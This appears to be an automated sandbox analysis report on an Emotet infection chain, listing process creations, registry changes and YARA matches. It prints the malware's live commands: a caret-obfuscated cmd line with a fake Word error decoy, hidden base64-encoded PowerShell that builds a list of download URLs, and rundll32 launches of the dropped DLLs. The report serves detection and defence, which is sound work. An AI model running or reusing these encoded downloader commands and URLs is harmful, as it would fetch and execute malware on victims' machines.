Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded SET-iTeM varIaBLE:PGB ( [TYPe]("{2}{4}{5}{1}{0}{3}" -f'.Dir','m.IO','Sy','ECToRy','St','E')); sET ('29x'+'d'+'4M') ( [TYpE]("{7}{1}{2}{3}{6}{4}{0}{5}" -f'Na','ys','TeM.NEt','.SErVi','ePOinTmA','GeR','C','s') );$Xjb6uu9=$S_7W + [char](64) + $C96Z;$A29Y=(('T'+'65')+'Q'); $pgB::"cr`EaT`eDIr`Ect`oRy"($HOME + (('db'+('zVl'+'j0ta0d')+'bz'+('M'+'tkd4'+'y0')+('db'+'z'))."r`E`PLAce"(([cHaR]100+[cHaR]98+[cHaR]122),'\')));$X13H=(('T'+'66')+'L'); (VaRiABLe ('29x'+'d'+'4M') ).VALue::"SeCUR`ITY`P`R`OTOCOL" = ('Tl'+('s'+'12'));$E34Q=(('Q_'+'1')+'L');$I3laa23 = (('O8'+'_')+'N');$W96Y=(('P'+'51')+'D');$Iq6rfg0=$HOME+((('o'+'6nV')+('lj0t'+'a0o')+'6n'+'Mt'+('kd'+'4')+('y'+'0o6')+'n')-crEPlACE ([chAr]111+[chAr]54+[chAr]110),[chAr]92)+$I3laa23+('.'+('dl'+'l'));$S84B=('O'+('32'+'I'));$Ozx9xkd=('s'+'g'+(' yw'+' a'+'h'+':'+'//riandut')+('r'+'a.com/e')+'m'+'a'+('il/'+'A'+'fhE8z0/')+('@s'+'g yw')+(' a'+'h:')+'//'+'c'+('al'+'le'+'dtoch'+'a')+('nge'+'.org'+'/C')+'a'+('l'+'ledt')+'o'+'C'+'h'+('an'+'g')+('e/8huS'+'O'+'d/')+('@s'+'g yw')+(' ah'+'s:/'+'/m'+'rveggy.c'+'om/wp-admi'+'n')+('/'+'n/@')+'s'+('g yw'+' a')+'h'+'s'+(':'+'//n')+('orail'+'y')+'a'+('.'+'co'+'m/dr')+'up'+('al'+'/')+('r'+'etA')+'l'+('/'+'@sg')+' y'+('w ahs:'+'/')+'/'+('hbprivi'+'l'+'e'+'g')+'e'+'d.'+'co'+('m/cg'+'i-bin'+'/Qg')+('/@s'+'g y'+'w')+(' '+'ahs')+':'+'//'+'u'+'mm'+('ahstar'+'s.'+'com')+'/'+('ap'+'p_')+'o'+('ld_'+'m')+('ay_'+'2')+'0'+('18'+'/')+('as'+'sets')+('/'+'wDL8'+'x')+'/'+('@s'+'g ')+('y'+'w ')+('ah'+'s')+' Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',UzhgGODQuLxptX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Lahhvjcxlgt\uxvrfyponi.bww',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',Keza Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bqdfivaeg\zraldnvj.leg',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',TsvDub Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Dhsrvrltshdb\kylwrasxsty.qky',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',ujMkapeydjSFMoJ Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fxyyidom\ykxlvrr.ddq',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',ANiwQWggq Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Unveznmghbqlboho\gmfloxrovawmauo.idg',#1
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAAC Jump to behavior

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Adds / modifies Windows certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Blob Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 00000011.00000002.2222429242.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2338162997.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2336996681.0000000000290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2189259516.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2148553869.0000000000710000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2127750584.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2180397123.0000000010000000.00000040.00000001.sdmp, type: MEMORY
